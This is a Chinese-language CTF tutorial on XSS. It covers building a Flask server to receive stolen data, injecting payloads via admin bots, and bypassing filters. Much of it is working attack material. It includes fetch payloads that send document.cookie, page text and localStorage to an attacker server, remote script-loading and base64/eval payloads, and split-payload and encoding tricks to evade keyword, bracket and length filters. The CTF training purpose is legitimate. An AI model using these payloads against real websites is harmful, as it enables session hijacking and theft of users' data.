CTF里XSS题一直是个神奇的存在你说它简单吧很多新手第一道Web题就是它你说它难吧遇到带过滤的题目一个payload能卡你一下午。这篇文章就来聊聊CTF中XSS题的完整实战思路从自己搭接收平台开始到分析题目再到绕过各种过滤拿flag。围绕这段过程我把踩过的坑和可直接抄的payload都整理出来适合刚接触CTF Web方向、想在XSS上建立系统打法的读者。先说结论做XSS题第一件事不是写payload而是先准备一个能收到Cookie的“接收端”。很多新手一上来就在题目里试scriptalert(1)/script弹窗出来就以为结束了但CTF里的XSS题绝大多数考察的不是弹窗而是“如何让管理员访问你的payload并把敏感信息传回你的服务器”。所以你真正需要的是一个公网可达的接收地址一套能记录请求的脚本以及能灵活应对过滤规则的编码技巧。1. 先搞懂CTF里的XSS到底在考什么1.1 XSS题的出题模型CTF中的XSS题本质上是在模拟一个非常现实的攻击场景某个网页存在输入点后台管理员或被感染的真实用户会访问包含攻击者输入内容的页面然后攻击者通过注入的JavaScript窃取管理员浏览器中的数据最常见的就是Cookie。出题模型基本可以分成三类反射型XSS输入点直接反射到页面中但需要诱导受害者访问包含payload的URL。CTF里通常会给一个提交入口让你提交URL给“管理员Bot”Bot访问后触发你的payload。存储型XSS输入被保存在服务端所有访问该页面的用户都会触发。这类题通常需要先把恶意脚本“存”进去再等管理员来访问。DOM型XSS不经过服务端完全由前端JavaScript处理URL参数或输入然后动态写入页面触发。技能树里的XSS题经常是这三种模型的混合变体还会叠加各种过滤规则。核心考点不是“你会不会写alert”而是“你能不能在一个受限的输入环境下依然执行任意JavaScript”以及“你有没有一套稳定的外带数据通道”。1.2 为什么要先搭建自己的接收平台刚开始做题时我也有个误区先写payload写不出来再想办法。后来发现这个顺序完全反了。XSS题的特点是“打点容易外带难”很多时候payload很简单难点在于你没有一个稳定的地方去接收泄露出来的Cookie。自建接收平台有几个优势一是可控性高。现成平台虽然方便但请求记录有延迟、URL域名太长、可能被某些环境屏蔽而且你无法确定平台是否会记录完整的请求头和请求体。二是灵活性好。接受平台不仅能接收Cookie还能接收location、document.domain、localStorage里捞出来的数据甚至可以做一步“中转跳转”。三是顺带练技能。写一个几十行的接收脚本并不难但能帮你理解HTTP请求结构这对后续做Web题极有帮助。有人会问直接用在线协作平台行不行如果只是临时测一下当然可以但比赛和刷题时变数太大我建议至少在本地准备一套可快速部署的接收代码能应对大多数场景。2. 搭建一套最简XSS接收平台2.1 平台选型和环境准备接收平台的核心功能非常朴素暴露一个公网可访问的URL收到GET或POST请求后把参数记录下来并允许你随时查看。你完全可以写一个脚本实现不需要引入太重的依赖。我常用的方案是Python的Flask写一个轻量服务。为什么选Flask因为它路由简单、自带开发服务器、部署方便一个文件就能跑起来。from flask import Flask, request app Flask(__name__) LOG_FILE xss_log.txt app.route(/recv, methods[GET, POST]) def recv(): data request.args.get(data, ) ip request.remote_addr ua request.headers.get(User-Agent, ) line fIP: {ip} | UA: {ua} | DATA: {data}\n with open(LOG_FILE, a, encodingutf-8) as f: f.write(line) return scriptlocation.hrefabout:blank/script app.route(/flag, methods[GET]) def get_flag(): with open(LOG_FILE, r, encodingutf-8) as f: content f.read() return fpre{content}/pre if __name__ __main__: app.run(host0.0.0.0, port8888)保存为xss_server.py执行python3 xss_server.py即可。默认会监听所有网卡的8888端口。这里有个细节host0.0.0.0一定要写否则只能本机访问服务器上根本接收不到外网请求。如果你是在一台公网服务器上运行还要确保安全组和防火墙放行了对应端口。基于常见实践补充一下买服务器时服务商控制台里的安全组规则往往需要单独添加“入方向TCP 8888端口”这一步漏掉的话本地curl都通得过但外网就是打不进来的情况很常见。2.2 接收数据结构的隐蔽编码技巧接收平台收到的数据格式上别光存一个“Cookie”。实际做题时你经常需要把Cookie、当前页面URL、localStorage里的内容一并传回。所以payload里最好拼接成一个结构化参数然后再做一次URL编码。一个标准的攻击payload结构长这样fetch(http://你的服务器:8888/recv?data btoa(document.cookie))这里用btoa()把Cookie做了一次Base64编码目的是防止特殊字符在传输过程中被截断或破坏。Cookie里常见分号、等号、百分号如果直接拼进URL可能被服务器解析成多个参数导致接收端只记录了半截数据。用Base64编码后整个Cookie变成一个安全字符集字符串到了接收端再用Base64解码还原。更完整的做法是把多条信息一起外带fetch(http://你的服务器:8888/recv?data btoa( cookie document.cookie url location.href domain document.domain ))注意整个拼接结果再一次btoa所以接收端看到的DATA字段是一整串Base64。这个习惯能避免很多时候“数据收到了但是被截断了”的诡异问题。2.3 公网部署与连通性验证平台写好后别急着写payload先用最简单的请求测试接收链路curl http://你的服务器:8888/recv?datatest123然后浏览器访问http://你的服务器:8888/flag看到记录里的DATA: test123说明接收链路是通的。这一步虽然简单但非常值得做。因为大量时间浪费都发生在“payload没问题、平台没跑起来”这种低级错误上。我再分享一个实战技巧可以在接收页面的响应体里注入一段JavaScript让被攻击者的浏览器收到响应后自动关闭页面或跳转回原页面。比如返回scriptwindow.close()/script能减少Bot页面停留时间比赛场景下更不容易暴露行为。有些在线环境获取flag后会检测Bot的异常状态所以我一般返回一个空页面或者在响应中带上location.hrefabout:blank让Bot看起来像是正常访问结束。3. 实战题目解析从解题到拿flag3.1 获取目标地址与页面分析技能树Web模块里的XSS题通常会给一个“题目地址”和一个“提交URL”的输入框。提交URL意味着后台有一个模拟管理员Bot会拿着带有特定Cookie的浏览器访问你提交的链接。拿到题目后第一步永远是手工浏览页面。我一般按这个顺序来打开所有功能点找出所有能输入内容的地方。查看页面源代码看输入值有没有被直接输出、被包裹在什么HTML标签中、有没有经过转义。找前端JS文件看有没有处理URL参数后写入DOM的代码。举个例子一个典型的题目页面可能是“留言板”或“搜索框”。搜索框提交关键词后URL变成/search?keywordxss页面显示你搜索的关键词是xss关键词被原样放进了p标签。如果你的输入被原样输出没有过滤那反射型XSS的触发点基本就确定了。3.2 构造payload触发远程加载在确定注入点之后围绕接收平台写一个远程加载脚本。通用的优先级是script srchttp://你的服务器:8888/x.js/script把主攻击代码放在远程JS文件里而不是全部塞进payload。这样能绕过很多对script标签内容的关键字检查因为服务器只能看到src属性看不到外部文件内容。x.js内容很简单fetch(http://你的服务器:8888/recv?data btoa(document.cookie))然后把这个payload拼到一个完整URL里提交给Bot。例如http://题目地址/search?keywordscript srchttp://你的服务器:8888/x.js/script提交给题目提供的Bot输入框等待几秒后刷新/flag页面。如果记录里出现了一个带UA的请求说明整个链路已经打通。这里有一个新手很容易忽略的点Bot的Cookie可能带有HttpOnly属性document.cookie是拿不到的。但你不要直接认定题目做不了因为很多题目把flag直接放在Cookie里也可能放在页面上或localStorage里需要你读取document.body.innerText或者localStorage返回。所以接收脚本里最好同时外带多种数据源fetch(http://你的服务器:8888/recv?data btoa( cookie document.cookie html document.body.innerText storage JSON.stringify(localStorage) ))这样不管flag藏在哪都能一次性传回来。4. 绕过过滤的编码与拼接思路4.1 标签黑名单与关键字过滤CTF里的XSS题不会让你轻松拿到script大部分都会做过滤。最常见的过滤有两类标签黑名单和关键字替换。标签黑名单指的是服务端把script、img、svg、onerror这类标签或属性直接删除或替换为空。你可以用双写绕过经典过滤input value/scrscriptipt srchttp://你的服务器/x.js/script如果后台是正则替换掉“script”关键字那么scrscriptipt经过替换后正好变成script。类似的技巧还有大小写混淆ScRiPt适用于服务端只做小写匹配但不强制小写的场景。关键字替换则是把onerror、javascript:等词替换为空。这种情况下先测出哪些关键字被处理再逐个绕过。我的办法是先输入一段包含各种关键词的文本然后看返回内容里哪些被删了相当于给过滤规则摸个底script img onerror javascript: alert(1) svg onload返回后对比结果就能画出过滤列表。这是后续绕过的第一步也是最重要的一步。4.2 编码绕过的原理编码绕过是最容易理解也最容易被忽视的过滤规则检查的是“原始输入字符串”而浏览器解析HTML和JavaScript时会有多层解码。如果服务端只是简单匹配敏感词不递归解码你就可以用实体编码、URL编码、Unicode转义、Base64等方式让敏感词“变形”。一个典型的多层编码payloadimg srcx onerroreval(atob(ZmV0Y2goJ2h0dHA6Ly95b3VyLXNlcnZlci9yZWN2P2RhdGE9JytiNjQoZG9jdW1lbnQuY29va2llKQ))这里atob()接收的Base64字符串在服务器端完全不含敏感词过滤规则看不出问题但浏览器执行时会把它解码成可执行的JavaScript。这种方式在服务端做“黑名单匹配”时非常有效但如果服务端做了递归解码或者请求内容里禁了eval就需要换方向。编码绕过的前提是输入到达输出点的过程中没有发生实体解析。如果输出点把lt;转回那实体编码反而会失效。所以每次编码前先测试同样的编码在不同输出点是否有效不要照搬网上payload。4.3 空格、括号、分号缺失时的替代方案过滤不只是针对标签名和函数名。很多题目会把空格、括号、分号、引号这些字符也过滤掉。空间被限制后思路要打开。先说空格。如果空格被过滤可以用/、Tab、换行、回车来替代。比如img/srcx/onerroralert(1)这里的/代替了空格浏览器解析HTML属性时是允许的实测下来在很多过滤规则下能成功。再说括号。如果alert(1)里的括号被过滤可以用throw结合错误处理来触发。实际环境里更常见的是反引号代替括号alert函数的调用可以写成alert1反引号会把模板字符串作为参数传给函数某些场景下等价于alert(1)。分号被过滤时利用JavaScript的自动分号插入机制写在不同行即可。类似地如果javascript:协议被过滤可以用java\nscript:换行符在URL协议解析时有时会被忽略具体要看浏览器版本和过滤方式。5. 绕过过滤的进阶实战记录5.1 一次完整的过滤关键字绕过过程我拿一道相对综合的题做例子。题目输出点在a href这里输出点击/a过滤规则把javascript:和script全部替换为空同时过滤了on开头的事件属性。先测出过滤规则后我尝试的第一版payloada hrefjavasjavascriptcript:alert(1)x/a利用双写绕过替换后变成javascript:。但如果页面在输出前对引号做了转义直接塞href可能无法闭合属性。这时需要结合HTML实体编码绕过引号a hrefjavascript:alert(1)x/a其中quot;是双引号的HTML实体编码输出后浏览器解析为真实引号。这招在href属性场景中经常有效因为过滤规则可能只匹配字符串中是否出现javascript:并不会先对实体解码再匹配。如果把alert也过滤了可以用confirm或prompt或者使用Function构造器a hrefjavascript:Function(alert(1))()x/a但Function这个名字也可能被过滤那就用[].constructor.constructor(alert(1))()利用数组构造器拿到Function。这种链式写法在代码审计里叫“原型链绕过”CTF题里同样适用。5.2 当长度受限时怎么分段加载有些题目会限制输入长度比如只能提交几十个字符。这种限制下完整的fetch外带脚本根本塞不进一个输入点需要把payload拆成多段。典型做法是借助一个全局变量分块存储代码。比如限制100字符我可以先提交第一段scriptwindow.afetch(http://你的服务器/recv?databtoa(document.cookie))/script但这段本身可能超长度。更通用的解法是“分块写入最后拼接执行”scriptwindow.pfetch(http://your-server//script scriptwindow.precv?databtoa(docu/script scriptwindow.pment.cookie)/script scripteval(p)/script每段控制长度最后用eval(p)拼接执行。题目的存储点如果支持多次提交依次提交即可。如果是反射型题的Bot访问你提交的URL可以用多个参数或者在URL中做截断拼接但更常见的做法是让Bot访问一个你自己服务器上的HTML页面页面上再写多个script src加载不同JS文件这样完全不依赖题目的长度限制。5.3 不同场景的绕过组合策略我把CTF刷题过程中常见的过滤场景和最终有效payload整理成一个表供参考过滤场景可用思路示例script标签被禁使用img、svg、body、input等标签img srcx onerror...事件属性被禁使用a标签href伪协议或iframea hrefjavascript:...关键字被替换为空双写绕过、大小写、实体编码scscriptript单引号双引号被转义使用HTML实体编码或反引号quot;、#39;空格被禁用/、Tab、换行替代img/srcx/onerror...长度受限分段提交全局变量拼接window.p...Cookie带HttpOnly读取页面内容或localStoragedocument.body.innerText这个表只是起步。真正做题时过滤规则往往组合出现比如同时禁了script和onerror那就要考虑使用iframe srcdoc、svg下的animate标签触发事件或者利用details open ontoggle这类冷门标签。关键还是先摸清过滤规则再选择绕过链。6. 常见问题速查与避坑清单6.1 收不到Cookie的6个排查思路“平台搭好了payload也发了但/flag页面什么都没有”这个问题困扰了几乎所有新手。我按排查优先级整理一下先确认接收平台本身能通。用浏览器直接访问http://你的服务器:8888/recv?datatest如果这条记录都没出现说明服务器端口、安全组、域名解析有问题和payload无关。确认题目Bot有没有访问你的URL。可以在接收脚本里加一个最简单的/ping路径提交一个/ping?fromtest的URL给Bot。如果连这个都没有说明题目环境无法访问你的服务器或者提交URL格式不对。检查输出点是否真的执行了JS。用/ping?frompayload测试时在payload里带一个fetch请求如果请求没到服务器说明payload被过滤或没闭合成功。确认是否存在HttpOnly。如果document.cookie返回空而页面里确实有flag需要改payload去读页面内容。确认编码层数。有些过滤规则会做递归解码一层atob不够需要做多层Base64或双层URL编码。确认浏览器版本和触发方式。有些payload需要鼠标点击才能触发而Bot访问页面时不会自动点击一定要用onerror、onload这类自动触发的事件。6.2 我在刷题路上踩过的坑第一坑服务器用HTTPS题目环境是HTTP混合内容被浏览器拦截。解决方式很直接接收平台一律用HTTP地址不要在payload里用HTTPS。第二坑把完整Cookie直接拼进URL遇到特殊字符被截断。Cookie里的分号会被解释成参数分隔符等号会被当成键值分隔符。所以无论如何都要做一次编码再拼URL。第三坑在本地浏览器测试payload能用但题目的Bot就是收不到。原因多半是本地环境的浏览器自动填充了某些默认请求头或者本地测试时你手动点了页面实际上onerror根本没触发。正确的验证方式是写一个自动化脚本或者直接用题目提供的基础Bot测试最简单payload。第四坑观察不够仔细就急着写绕过payload。我见过不少同学连输出点在哪个标签里都没看全就套网上的payload模板结果自然失败。XSS题第一优先级永远是读页面源代码把上下文搞清楚。7. 把绕过能力沉淀成自己的小工具7.1 写一个关键字过滤自检脚本当你做了一定数量题目后会发现很多过滤规则是可以自动检测的。我把我常用的检测思路写成一个简单的Python脚本用来向题目接口发送测试输入并观察哪些关键词被过滤import requests keywords [ script, img, onerror, onload, svg, javascript, alert, fetch, eval, src, , , , , (, ), ;, ] payload .join(keywords) r requests.get(http://题目地址/search, params{keyword: payload}) for kw in keywords: res r.text # 如果关键词在返回中被替换为空或转义说明有过滤 if kw not in res: print(f被过滤: {repr(kw)})注意这个脚本只能作为一个快速摸底工具不能完全依赖。因为服务端可能在返回时做了HTML实体转义比如变成lt;这时候你需要对比“输出后的源码”和“预期输出”而不是简单判断关键词是否存在。7.2 用浏览器控制台快速验证payload除了脚本浏览器的开发者工具是绕不过去的神器。我每次写payload都会在Console里先做一个局部验证// 模拟题目页面中的输出点上下文 let userInput img srcx onerroralert(1); document.write(userInput);如果弹窗出现说明闭合逻辑没问题。然后再把payload放进完整题目环境。Console还有一个用法直接在Elements面板里右键查看输出点父级标签判断你要闭合的是属性值、标签体还是JavaScript变量上下文。这是XSS里“上下文”这个抽象概念的落地操作。7.3 建立自己的payload速查库刷到一定量之后我越发觉得背payload没用整理自己的速查库才有用。我的库里每个条目包含触发标签、过滤场景、上下文、完整payload、实测环境。下次遇到新的过滤组合直接查库里的“上下文过滤关键词”两个维度能节省大量时间。这个库不需要多复杂一个Markdown文件或者表格就够。关键是记录时要写清“为什么有效”否则换个题目稍微变形就又不会了。说实话XSS绕过的核心说到底就是理解浏览器如何解析HTML和JavaScript以及服务端过滤逻辑到底碰不到哪一层。我在实际刷题中最大的体会是不要急着找“万能payload”而是把每个题当成一次小型代码审计先弄清楚过滤规则和输出上下文再动手构造。稳扎稳打做完十几道题你对XSS的理解会有一个质的提升之后再看到新的过滤组合大概率第一反应不是“这题好难”而是“又是老套路换个编码试试”。